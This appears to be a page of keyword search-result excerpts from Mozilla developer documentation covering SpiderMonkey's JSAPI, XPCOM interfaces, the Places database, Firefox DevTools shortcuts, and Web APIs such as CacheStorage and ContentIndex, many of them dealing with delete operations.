ny different combinations of the parts, and giving applications precise control over how spidermonkey behaves. here is the boilerplate code necessary for a minimal jsapi application. it contains everything described above. #include "jsapi.h" using namespace js; // the class of the global object. static jsclass globalclass = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, nullptr, nullptr, nullptr, nullptr, js_globalobjecttracehook }; // the error reporter callback. void reporterror(jscontext *cx, const char *message, jserrorreport *report) { fprintf(stderr, "%s:%u:%s\n", report->filename ? report->filename : "[no fi...
... js_hasproperty js_hasucproperty js_lookupproperty js_lookupucproperty js_getproperty js_getucproperty js_getpropertyattributes js_getucpropertyattributes js_getpropertyattrsgetterandsetter js_getucpropertyattrsgetterandsetter js_setproperty js_setucproperty js_setpropertyattributes js_setucpropertyattributes js_deleteproperty2 js_deleteucproperty2 js_alreadyhasownproperty js_alreadyhasownucproperty unicode javascript source js_compilescript js_compileucscript js_compilescriptforprincipals js_compileucscriptforprincipals js_compilefunction js_compileucfunction js_compilefunctionforprincipals js_compileucfunctionforprincipals js...
...etnativestackquota. control access to sensitive data - your application might expose data to some scripts that other scripts should not be able to see. for example, you might let your customers write scripts that operate on their own data, but not other customers' data. these access rules must be enforced somehow. control access to dangerous functionality - suppose your application has a method deleteuseraccount() which is meant to be used by administrators only. obviously if untrusted code can use that method, you have a security problem. the first two problems are important but fairly straightforward and will not be discussed further here. the rest of this section tells how you can control scripts' access to data and functionality. the best security is no security (really) do you ever wo...
JSObjectOps.getProperty
may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. jsobjectops.getproperty, setproperty, and deleteproperty are high-level callbacks that implement object property accesses. each of these callbacks is responsible for everything involved with an individual property access operation, including: any locking necessary for thread safety; security checks; finding the property, including walking the prototype chain if needed; calling the lower-level jsclass hooks; calling getters or setters; and actu...
...bj, jsid id, jsval *vp); name type description cx jscontext * pointer to the js context in which the property access is happening. obj jsobject * the object to be accessed. id jsid the name or index of the property to access. vp jsval * in/out parameter. see the description section below. ...
... vp jsval * in/out parameter. see the description section below. description get, set, or delete obj[id], returning js_false on error or exception, js_true on success. if getting or setting, the new value is returned in *vp on success. if deleting without error, *vp will be jsval_false if obj[id] is permanent, and jsval_true if id named a direct property of obj that was in fact deleted, or if id names no direct property of obj (id could name a property of a prototype, or no property in obj or its prototype chain). this reflects the quirky behavior of delete as specified in ecma 262-3 §11.4.1 and ecma 262-3 §8.6.2.5. ...
JS_AliasElement
element array length. if the property name you specify does not exist, js_aliaselement reports an error, and returns js_false. ...
...ty name you specify does not exist, js_aliaselement reports an error, and returns js_false. if the element is currently out of scope, already exists, or the alias itself cannot be assigned to the element, js_aliaselement does not report an error, but returns js_false. ...
...returns js_false. if the element is currently out of scope, already exists, or the alias itself cannot be assigned to the element, js_aliaselement does not report an error, but returns js_false. once you create an alias, you can reassign it to other elements as needed. ...
JS_AliasProperty
property array. if the property name you specify does not exist, js_aliasproperty reports an error, and returns js_false. ...
...e you specify does not exist, js_aliasproperty reports an error, and returns js_false. ...
... is currently out of scope, already exists, or the alias itself cannot be assigned to the property, js_aliasproperty does not report an error, but returns js_false. ...
JS_PropertyStub
js::mutablehandlevalue vp, js::objectopresult &result); // added in spidermonkey 45 bool js_strictpropertystub(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mutablehandlevalue vp); // obsolete since jsapi 39 bool js_resolvestub(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolvedp); // obsolete since jsapi 37 bool js_deletepropertystub(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // obsolete since jsapi 37 bool js_enumeratestub(jscontext *cx, js::handleobject obj); // obsolete since jsapi 37 bool js_convertstub(jscontext *cx, js::handleobject obj, jstype type, js::mutablehandlevalue vp); // obsolete since jsapi 37 void js_finalizestub(jscontext *cx, ...
...rty, and jsclass.getproperty. it behaves exactly like a property callback that accepts the default property behavior: it does nothing and returns true. js_strictpropertystub is of type jsstrictpropertyop, the type of setter callback. it can be used in jsclass.setproperty. it behaves exactly like a property callback that accepts the default property behavior: it does nothing and returns true. js_deletepropertystub is of type jsdeletepropertyop, the type of setter callback. it can be used in jsclass.delproperty. it behaves exactly like a property callback that accepts the default property behavior: it does nothing and returns true. js_enumeratestub is a stub for jsclass.enumerate. it does nothing and returns true. js_resolvestub is a stub for jsclass.resolve. it does nothing and returns true. ...
...s. ...
SpiderMonkey 24
otype. new c++ helpers while jsapi remains a c api, the engine is now implemented in c++. some c++ helpers have been introduced into the api, to help embedders writing c++ projects. please note that spidermonkey reserves the js:: namespace for itself (and the js:: namespace for internal use). ...list new c++ helpers here... obsolete apis ...list obsolete methods/structs/apis here... deleted apis js_get_class (use js_getclass instead) js_enumerateresolvedstandardclasses js_getglobalobject js_setcstringsareutf8 ...list other deleted apis... api changes break out and discuss all api changes here... jsoption_strict has been renamed to jsoption_extra_warnings. js_setversion has been removed, js version is now set on the compartment instead of context. js_getprototype, takes...
...the one exception to this is js_maybegc which still takes a context as argument. javascript shell changes detail added/removed methods here... ...
...ss all api changes here... jsoption_strict has been renamed to jsoption_extra_warnings. js_setversion has been removed, js version is now set on the compartment instead of context. js_getprototype, takes context as first argument js_encodestringtobuffer takes add context as first argument, js_newruntime adds a js_[use|no]_helper_threads flag delete property in jsclass definitions now use js_deletepropertystub garbage collection functions now take runtime argument most garbage collection functions now take a runtime argument instead of a context. the one exception to this is js_maybegc which still takes a context as argument. javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction ...insert details on future pl...
The Places database
s the values of bookmark item annotations. it maps a bookmark, folder or separator (reference to moz_bookmarks) and an annotation name (reference to moz_anno_attributes) to the value of the annotation. favicon table moz_favicons: this contains a list of unique favicon uris and data. one or more pages in moz_places refer to each entry. when no pages reference a favicon, the icon entry will be deleted. if the mime type of the image is image/png, the data blob must be reencoded from base16 (the format in which it is stored) to base64 in order to display correctly. expiration expiration is handled in toolkit/components/places/nsplacesexpiration.js. this algorithm determines the lifetime of all objects in the places system. periodically at runtime, the following happens to expire...
...coded from base16 (the format in which it is stored) to base64 in order to display correctly. expiration expiration is handled in toolkit/components/places/nsplacesexpiration.js. this algorithm determines the lifetime of all objects in the places system. periodically at runtime, the following happens to expire pages: expire visits that are older than the history expiration threshold. delete the history entries that were referenced by the expired visits and not referenced by any non-expired visit or bookmark. delete favicons for those expiring history entries that are not referenced by any other history entry. delete annotations that belong to the expiring pages. at shutdown time, an extra step is performed in case there are any orphans. there are several ways for orphans to be c...
...ng history entries that are not referenced by any other history entry. delete annotations that belong to the expiring pages. at shutdown time, an extra step is performed in case there are any orphans. there are several ways for orphans to be created, including calling markpageastyped and then never visiting the page. extensions might also set favicons for pages that have never been visited. delete any history entries that have no visits, are not bookmarked, and are not place: uris. delete any favicons that are not referenced by any history entries. see places expiration for more information. ...
XPCOM changes in Gecko 2.0
t objects—for example, the ability to call functions or get and set properties created by the xbl binding—you will need to use the xpcnativewrapper property wrappedjsobject to access wrapped objects. if you need to be able to call functions or access properties defined by web content, you'll need to do this as well. ...
...properties created by the xbl binding—you will need to use the xpcnativewrapper property wrappedjsobject to access wrapped objects. if you need to be able to call functions or access properties defined by web content, you'll need to do this as well. this may be the case if, for example, you've written an extension that adds a delete button to a web mail service, and the service defines a window.delete() function that you need to call. ...
... xpcomutils.jsm changes the xpcomutils.jsm code module has been updated to let you specify the application ids of the applications you wish to register your component in. ...
An Overview of XPCOM
r inside the component tracks the number of clients who have an interface to the components -- also known as the reference count. the reference count is incremented automatically when the client instantiates the component; over the course of the component's life, the reference count goes up and down. when all clients lose interest in the component, the reference count hits zero, and the component deletes itself. when clients use interfaces responsibly, this can be a very straightforward process. xpcom has tools to make it even easier, as we describe later. it can raise some real housekeeping problems when, for example, a client uses an interface and forgets to decrement the reference count. when this happens, interfaces may never be released and will leak memory. the system of reference countin...
...inheritance is the means through which one class is derived from another. when a class inherits from another class, the inheriting class may override the default behaviors of the base class without having to...
...in xpcom, factories are implementations of the nsifactory interface, and they use a factory design pattern like the example above to abstract and encapsulate object construction and ...
Detailed XPCOM hashtable guide
clared using const void*, and your client code must cast these pointers to the appropriate type. pldhashtables can be allocated on the stack or the heap: when allocated on the stack, or as a c++ class member, the table must be initialized using pl_dhashtableinit, and finalized using pl_dhashtablefinish; when allocated on the heap, use pl_newdhashtable and pl_dhashtabledestroy to allocate and delete the table. plhashtable plhashtable is a part of nspr. the header file can be found at nsprpub/lib/ds/plhash.h. in general, pldhash is a better solution than plhashtable, because plhashtable makes many heap allocations. there are two situations where plhashtable may be preferable to pldhash: you need entry-pointers to remain constant. the entries stored in the table are very large (larger ...
...des most of the complexities of pldhash. they provide the following features: hashtable operations can be completed without using an entry class, making code easier to read; optional thread-safety: the hashtable can manage a read-write lock around the table; predefined key classes provide automatic cleanup of strings/interfaces nsinterfacehashtable and nsclasshashtable automatically release/delete objects to avoid leaks. nsbasehashtable is not used directly; choose one of the three derivative classes based on the data type you want to store. the keyclass is taken from nshashkeys.h and is the same for all three classes: nsdatahashtable<keyclass, datatype> - datatype is a simple type such as pruint32 or prbool. nsinterfacehashtable<keyclass, interface> - interface is an xpcom interface...
...t to store. the keyclass is taken from nshashkeys.h and is the same for all three classes: nsdatahashtable<keyclass, datatype> - datatype is a simple type such as pruint32 or prbool. nsinterfacehashtable<keyclass, interface> - interface is an xpcom interface such as nsisupports or nsidomnode nsclasshashtable<keyclass, t> - t is any c++ class. the hashtable stores a pointer to the object, and deletes that object when the entry is removed. the important files to read are xpcom/glue/nsbasehashtable.h and xpcom/glue/nshashkeys.h. these classes can be used on the stack, as a class member, or on the heap. initialize using the init() function; you can specify whether you need thread-safety at this time. use the put(), get(), and remove() methods to alter the table. using nsthashtable as a hash-...
Observer Notifications
mpletely from the cache. headers are available on the channel. http-on-examine-merged-response called instead of http-on-examine-response when a response will be read partially from cache, and partially from the network (http 206 or 304 response). headers are available on the channel. ...
...e, and partially from the network (http 206 or 304 response). headers are available on the channel. cookies these topics indicate whenever a cookie has been changed (added, changed, cleared, or deleted) or its setting rejected by the browser. see nsicookieservice for details. topic description cookie-changed called upon a cookie change (added, changed, cleared, or deleted) cookie-rejected called when the setting of a cookie was rejected by the browser (per the user's preferences) http-on-response-set-cookie this is fired only when a cookie is created due to the presence of set-cookie header in the response header of any network request. this notification will come only after the "http-on-examine-response" is fired, but it wil...
...r example, suppose you've loaded a frame script into a tab using a browser message manager, and the user closes the tab. the frame script is unloaded and the browser message manager disconnects from it. by listening for message-manager-disconnect you will be informed when this happens. permission manager topic subject data description perm-changed nsipermission "deleted"/"added"/"changed"/"cleared" this notification is sent when a permission changes. the subject of the notification is the permission object. context menu topic subject data description content-contextmenu an object containing two properties: event the event that triggered the context menu. addoninfo an empty obj...
nsIAccessibleEvent
0038 a table caption changed. event_table_model_changed 0x003d 0x0039 a table's data changed. event_table_summary_changed 0x003e 0x003a a table's summary changed. event_table_row_description_changed 0x003f 0x003b a table's row description changed. event_table_row_header_changed 0x0040 0x003c a table's row header changed. ...
...'s row header changed. event_table_row_insert 0x0041 0x003d event_table_row_delete 0x0042 0x003e event_table_row_reorder 0x0043 0x003f event_table_column_description_changed 0x0044 0x0040 a table's column description changed. event_table_column_header_changed 0x0045 0x0041 a table's column header changed. ...
...inimizestart 0x0016 event_minimizeend 0x0017 event_atk_property_change 0x0100 event_atk_selection_change 0x0101 event_atk_text_change 0x0102 event_atk_text_selection_change 0x0103 event_atk_text_caret_move 0x0104 event_atk_visible_data_change 0x0105 event_atk_table_model_change 0x0110 event_atk_table_row_insert 0x0111 event_atk_table_row_delete 0x0112 event_atk_table_row_reorder 0x0113 event_atk_table_column_insert 0x0114 event_atk_table_column_delete 0x0115 event_atk_table_column_reorder 0x0116 event_atk_link_selected 0x0117 event_atk_window_activate 0x0118 event_atk_window_create 0x0119 event_atk_window_deactivate 0x0120 event_atk_window_destroy 0x0121 event_atk_window_maximi...
nsIAnnotationObserver
aname the annotation name. onitemannotationset() this method is ca...
...autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved() this method is called when an annotation is deleted for an item. if aname is empty, then all annotations for the given item have been deleted. this is not called when annotations are expired (normally happens when the application exits). void onitemannotationremoved( in long long aitemid, in autf8string aname ); parameters aitemid the item whose annotation is to be deleted. aname the annotation name. onitemannotationset() this method is called when an annotation value is set for an item. it could be a new annotation, or it coul...
...nitemannotationset() this method is called when an annotation value is set for an item. it could be a new annotation, or it could be a new value for an existing annotation. void onitemannotationset( in long long aitemid, in autf8string aname ); parameters aitemid the item on which the annotation is to be set. aname the annotation name. onpageannotationremoved() called when an annotation is deleted for a uri. if aname is empty, then all annotations for the given uri have been deleted. this is not called when annotations are expired (normally happens when the application exits). void onpageannotationremoved( in nsiuri auri, in autf8string aname ); parameters auri the uri whose annotation is to be deleted. aname the annotation name. onpageannotationset() this method is called when an ...
nsIBrowserHistory
ameters none. remarks visits are removed synchronously, but pages are expired asynchronously, off the main thread. note: removals are handled in a batch. single removals are not subject to individual notification; instead, nsinavhistoryobserver.onclearhistory() is called on the history observer. removepage() this method removes all visits for a page from the history. the page itself is only deleted when it is not bookmarked and when it is not a place: uri. this method is called by the ui when the user deletes a history entry. note: if removing fewer than 10 pages, calling this repeatedly is preferable over calling removepages(), since that's about the point at which the overhead of setting up a batch operation doesn't make sense anymore. void removepage( in nsiuri auri ); parameters ...
... timeframe, using a batch. void removepagesbytimeframe( in long long abegintime, in long long aendtime ); parameters abegintime the time of the first page to remove, in microseconds from epoch. aendtime the time of the last page to remove, in microseconds from epoch. removepagesfromhost() this method removes all the pages from the given host. it is called from the ui when the user deletes a group associated with a host or domain. this method lets you delete pages from a specific host, or pages from all hosts in a given domain. if aentiredomain is true, it will assume ahost is a domain, and remove all pages from the entire domain. void removepagesfromhost( in autf8string ahost, in boolean aentiredomain ); parameters ahost the name of the host to be removed. an empty va...
...l files)" title given to you by a history query to remove all history information for local files. aentiredomain if set to true, it will assume ahost is a domain, and remove all pages from the entire domain, including subdomains. set to false otherwise. removevisitsbytimeframe() removes all visits within the given timeframe, using a batch. any pages that become unvisited as a result are also deleted. void removevisitsbytimeframe( in long long abegintime, in long long aendtime ); parameters abegintime the time of the first page to remove, in microseconds from epoch. aendtime the time of the last page to remove, in microseconds from epoch. unregisteropenpage() obsolete since gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) mark a page as no l...
nsICRLManager
security/manager/ssl/public/nsicrlmanager.idlscriptable please add a summary to this article. ...
...nsiarray getcrls(); parameters none. return value importcrl() import a crl into the certificate database. void importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdown...
...(); boolean updatecrlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime( in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays ); parameters info autoupdatetype noofdays return value deletecrl() delete the crl. void deletecrl( in unsigned long crlindex ); parameters crlindex getcrls() get a list of crl entries in the db. nsiarray getcrls(); parameters none. return value importcrl() import a crl into the certificate database. void importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in w...
nsILocalFile
to uniquely identify the file on the local file system. the persistent descriptor is intended to be used whenever a nsilocalfile needs to be serialized to disk and later recovered. this string is not intended for display to users. note: the value of the followlinks attribute is not encoded in the persistent descriptor. constants constant value description delete_on_close 0x80000000 optional parameter used by opennsprfiledesc(). methods native code only! appendrelativenativepath appends a relative, native character encoding, path to the current path of the nsilocalfile object. void appendrelativenativepath( in acstring relativefilepath ); parameters relativefilepath a native relative path. for security reasons, this cannot co...
... if (ferror(fp) != 0) rv = ns_error_unexpected; fclose(fp); return rv; } native code only! opennsprfiledesc returns the result of pr_open() on the file. the caller is responsible for calling pr_close() on the result. prfiledescstar opennsprfiledesc( in long flags, in long mode ); parameters flags the pr_open() flags from nsprpub/pr/include/prio.h, plus optionally delete_on_close. delete_on_close may be implemented by removing the file (by path name) immediately after opening it, so beware of possible races; the file should be exclusively owned by this process. a bitwise combination of the following open flags: pr_rdonly open for reading only. pr_wronly open for writing only. pr_rdwr open for reading and writing. pr_create_file if the file does not e...
...o effect. pr_append the file pointer is set to the end of the file prior to each write. pr_truncate if the file exists, its length is truncated to 0. pr_sync if set, each write will wait for both the file data and file status to be physically updated. pr_excl with pr_create_file, if the file does not exist, the file is created. if the file already exists, no action and null is returned. delete_on_close file will be deleted when closed. mode a unix-style file permissions value. for example, the octal value 0600 may be used to limit read and write access to the current user of the system. this parameter may be ignored on systems that do not support file permissions. return value if the file is successfully opened, returns a pointer to the prfiledesc created for the newly opened ...
nsINavBookmarkObserver
long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid ); parameters aitemid the id of the item that was changed. aproperty the property which changed. if this string is empty, all properties have been deleted. in this situation, you should not attempt to get any properties, since this will result in the automatic regeneration of properties that will then be leaked into the database, causing trouble later. aisannotationproperty indicates whether or not aproperty is the name of an item annotation. if this is true, anewvalue is always an empty string. anewvalue the items new value, if re...
...tants. aparentid the id of the folder containing the item. aguid the unique id associated with the item. aparentguid the unique id associated with the item's parent. notes this table indicates what anewvalue should be depending on property specified by aproperty: property string value "cleartime" empty string; this property means the history was deleted, so there's no last visit date. "title" the new title for the item "favicon" the "moz-anno" url for the new favicon image. "uri" the new uri for the item. "tags" empty string; this property indicates that the set of tags for the item have changed. "dateadded" the prtime at which the item was first added to the database. "lastmo...
...this method notifies that the item was visited. can be invoked only for type_bookmark items. normally in bookmarks we use the last visit date, and normally the time will be a new visit that will be more recent, but this is not guaranteed. you should check to see if it is actually more recent before using this new time. see onitemchanged() method property = "cleartime" for when all visit dates are deleted for the uri. note: the reported time is the time of the visit that was added, which may be well in the past since the visit time can be specified. this means that the visit the observer is told about may not be the most recent visit for that page. void onitemvisited( in long long aitemid, in long long avisitid, in prtime atime, in unsigned long atransitiontype, in nsiuri auri, in lon...
nsIProfile
e); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1. however, it hasn't been used in firefox since before firefox 1.0. ...
...nkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1. however, it hasn't been used in firefox since before firefox 1.0. ...
...rofilename the name to assign to the new profile. nativeprofiledir the pathname of the directory to use as the profile directory; if you specify null, a new folder will be created in the default profiles directory. langcode the locale to use for the new profile. useexistingdir if true, an existing directory may be used; otherwise, the profile directory will be unique. deleteprofile() deletes the specified profile. void deleteprofile( in wstring name, in boolean candeletefiles ); parameters name the name of the profile to delete. candeletefiles if true, the profile manager will try to delete all of the profile's files and its directory. getprofilelist() returns an array of strings indicating the names of all the available profiles. void getprofi...
Performance
ons (see the "atomic commit" section of http://www.sqlite.org/php2004/slides-all.html for more information on how this works). these disk syncs are very slow and limit the speed of a commit to the rotational speed of the mechanical disk. vacuuming and zero-fill sqlite has a vacuum command to compress unused space from the database. sqlite works like a memory manager or a file system. when data is deleted, the associated bytes are marked as free but are not removed from the file. this means that the file will not shrink, and some data may still be visible in the file. the way to work around this is to run the vacuum command to remove this space. vacuuming is very slow. the vacuum command is essentially the same as the command line sqlite3 olddb .dump | sqlite3 newdb; mv newdb olddb. on some netwo...
...ound this is to run the vacuum command to remove this space. vacuuming is very slow. the vacuum command is essentially the same as the command line sqlite3 olddb .dump | sqlite3 newdb; mv newdb olddb. on some networked drives, vacuuming a 10mb database has been timed at over one minute. therefore, you should avoid vacuuming whenever possible. some items in databases are privacy sensitive, such as deleted history items. users have the expectation that deleting items in their history will remove the traces of that from the database. as a result, mozilla enables the sqlite_secure_delete preprocessor flag in db/sqlite3/src/makefile.in. this flag causes deleted items to be filled with 0s on disk. this eliminates the need to vacuum except to reclaim disk space, and makes many operations much faster. z...
...this operation is not necessarily slow, but writing 0s to disk in an "aci" database is still slow. this made shutdown very slow because the asyncio thread would block shutdown (bug 328598). shutdown times of more than 30 seconds were seen. ...
Getting Started Guide
ase class. the xpcom object is said to `implement that interface'. the client's reference to the object is typically called `an interface pointer'. an object may implement many interfaces. each interface is (at least conceptually) separately `reference counted'. that is, the interface keeps a count of the number of clients holding references to it. when that count goes to zero, the interface may delete itself. clients are expected to keep this reference count accurate by incrementing it when they acquire a reference to the interface, and decrementing it before they let go. to facilitate this, all interfaces inherit from an abstract base class that provides the member functions addref, and release. a rule of xpcom is that any function that creates or returns an interface pointer will have alrea...
...class that provides the member functions addref, and release. a rule of xpcom is that any function that creates or returns an interface pointer will have already addrefed it. the caller can then hold onto the reference indefinitely, calling release when it no longer needs it. when the last pointer to an interface is released, the interface (and consequently, typically the underlying object) will delete itself. as long as there is an outstanding addref against the interface, it continues to exist. if you forget to call release, the object will leak, i.e., the storage for that object will never be reclaimed. leaks are bad :-). a reference through which you will call addref and release is called an owning reference. it holds a stake in the underlying object. that object cannot go away until the o...
...e it tells clients you are giving them ownership), however it can be the cause of an dangling pointer. consider: // don't return |nscomptr|s... nscomptr<nsifoo> createfoo(); // ... nsifoo* myfoo = createfoo(); // oops: |myfoo| now dangles! // |createfoo| returns an |nscomptr|, which // automatically |release|s right after this // assignment. now |myfoo| refers to a // deleted object. you can tell callers you are giving them ownership in a way that doesn't pose this hazard by returning a already_addrefed<t> (see bug #59212). an nscomptr knows not to addref a value that is already_addrefed. // preferred form: if you must return a pointer, use |already_addrefed|... already_addrefed<nsifoo> createfoo(); // ... nsifoo* myfoo1 = createfoo(); //...
nsIMsgCloudFileProvider
ew filelink providers. ...
...ters awithui whether or not the provider should prompt the user for credentails in the event that the stored credentials have gone stale. if awithui is false, and the credentials are stale, the onstoprequest of the acallback nsirequestlistener will get the autherr status code passed to it. acallback the nsirequestobserver for monitoring the start and stop states of the refresh operation. ...
...r not the provider should prompt the user for credentails in the event that the stored credentials have gone stale. if awithui is false, and the credentials are stale, the onstoprequest of the acallback nsirequestlistener will get the autherr status code passed to it. acallback the nsirequestobserver for monitoring the start and stop states of the refresh operation. deletefile() attempts to delete a file that had previously been uploaded using this instance. void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was previously uploaded using this nsimsgcloudfileprovider instance that should be deleted. acallback the nsirequestobserver for monitoring the start and stop states of the delete operation. createnewaccoun...
Mail event system
onitempropertychanged notifyitemintpropertychanged onitemintpropertychanged notifyitemboolpropertychanged onitemboolpropertychanged notifyitemunicharpropertychanged onitemunicharpropertychanged notifyitempropertyflagchanged onitempropertyflagchanged notifyitemevent onitemevent notifyfolderloaded onfolderloaded notifydeleteormovemessages ondeleteormovemessages sample code in this example, a listener will be set up to be notified when the message count changes in a folder: // our variable to know if the listener fired var listenerhasfired = false; var totalmessageslistenerhasfired = false; // the listening function that will react to changes function myonintpropertychanged(item, property, oldvalue, newv...
... getservice(components.interfaces.nsimsgmailsession); mailsession.addlistener(folderlistener); // now test to see if integer stuff is firing at all // let's say "folder" is a folder we know about ...
...ge count, such // as copying a message into this folder or something. then we could // verify that our listener fired by checking if listenerhasfired and // totalmessageslistenerhasfired are true // this is left as an exercise for the reader. future plans the notification system has two duplicate methods which could be implemented with onitemevent/notifyitemevent: folderloaded , and deleteormovemessagescompleted . both of these could be done by making atoms for each of these events and just firing it with notifyitemevent. completed there are some of redundant methods between the nsimsgmailsession and the nsifolderlistener interfaces. nsimsgmailsession also contains a number of other methods that are completely unrealted to folder notification. it would make sense to collapse the...
Debugger.Object - Firefox Developer Tools
s function behaves like object.defineproperty, except that the target object is implicit, and in a different compartment from the function and descriptor.) defineproperties(properties) add the properties given byproperties to the referent. (this function behaves like object.defineproperties, except that the target object is implicit, and in a different compartment from theproperties argument.) deleteproperty(name) remove the referent’s property namedname. return true if the property was successfully removed, or if the referent has no such property. return false if the property is non-configurable. seal() prevent properties from being added to or deleted from the referent. return this debugger.object instance. (this function behaves like the standard object.seal function, except that the ...
...return this debugger.object instance. ...
...g the referent as the variable object, but with a lexical environment extended with bindings from the objectbindings. for each own enumerable property ofbindings namedname whose value isvalue, include a variable in the lexical environment in whichcode is evaluated namedname, whose value isvalue. eachvalue must be a debuggee value. (this is not like a with statement:code may access, assign to, and delete the introduced bindings without having any effect on thebindings object.) this method allows debugger code to introduce temporary bindings that are visible to the given debuggee code and which refer to debugger-held debuggee values, and do so without mutating any existing debuggee environment. note that, like executeinglobal, any declarations it contains affect the referent global object, eve...
All keyboard shortcuts - Firefox Developer Tools
active. command windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. ...
... windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. ...
... macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to previous node up arrow up arrow up arrow move to first node in the tree. ...
Examine and edit HTML - Firefox Developer Tools
ts present in the dom are exposed in the html page in the same manner as the regular dom. the shadow root is signified by a node named #shadow-root — you can click its expansion arrow to see the full contents of the shadow dom, and then manipulate the contained nodes in a similar way to other part of the page's dom (although with a limited featureset — you can't, for example, drag and drop or delete shadow dom nodes). if a shadow dom contains a "slotted" element (an element with a slot attribute after it has been inserted inside a <slot> element — see adding flexibility with slots for an explanation of how these are used), the "slotted" element will be shown inside its corresponding <slot> element, with a "reveal" link alongside it. clicking the "reveal" link will highlight the element ...
...ref until firefox 63. it is now turned on by default. element popup context menu you can perform certain common tasks on a specific node using a popup context menu. to activate this menu, context-click the element. the menu contains the following items — click on the links to find the description of each command in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ... subtree modification attribute modification node removal use in console show dom properties show accessibility properties change pseudo-class hover active focus focus-within visited screenshot node scroll into view copy inner ht...
...d node into view. screenshot node takes a screenshot of the selected node, saved to your downloads directory. see taking screenshots. create new node create a new empty <div> as the last child of the currently selected element. see inserting new nodes. duplicate node create a copy of this element, and insert the copy immediately after this element. delete node delete the element from the dom. attribute/add attribute add an attribute to the element. attribute/edit attribute (only when invoked on an attribute) edit the attribute. attribute/remove attribute (only when invoked on an attribute) remove the attribute. open link in new tab (only when invoked over a link, such as an href attribute) opens t...
Page inspector keyboard shortcuts - Firefox Developer Tools
active. command windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. ...
... windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. ...
... macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane. command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to previous node up arrow up arrow up arrow move to first node in the tree. ...
IndexedDB - Firefox Developer Tools
me of the object store. key — the keypath property of the object store. auto increment — is automatic incrementation of the keys enabled? indexes — array of indexes present in the object store as shown below. when an object store is selected in the storage tree, all the items in that object store are listed in the table. ...
...matic incrementation of the keys enabled? indexes — array of indexes present in the object store as shown below. when an object store is selected in the storage tree, all the items in that object store are listed in the table. all items have a key and a value associated with them. ...
...ect store are listed in the table. all items have a key and a value associated with them. ...
CacheStorage.keys() - Web APIs
Web › API › CacheStorage › keys
in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. here we have a whitelist containing the names of the caches we want to keep (cachewhitelist). we return the keys of the caches in the cachestorage object using keys(), then check each key to see if it is in the whitelist. ...
...t for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. here we have a whitelist containing the names of the caches we want to keep (cachewhitelist). we return the keys of the caches in the cachestorage object using keys(), then check each key to see if it is in the whitelist. if not, we delete it using cachestorage.delete(). ...
... object using keys(), then check each key to see if it is in the whitelist. if not, we delete it using cachestorage.delete(). then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachewhitelist.indexof(key) === -1) { return caches.delete(key); } }); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: keys' in that specification. working draft initial definition. ...
ContentIndex - Web APIs
contentindex.getall returns a promise that resolves with an iterable list of content index entries. ...
...stelem); } } unregistering indexed content below is an asynchronous function, that removes an item from the content index. ...
...worker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker. they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification. unknown initial definition. ...
ContentIndexEvent - Web APIs
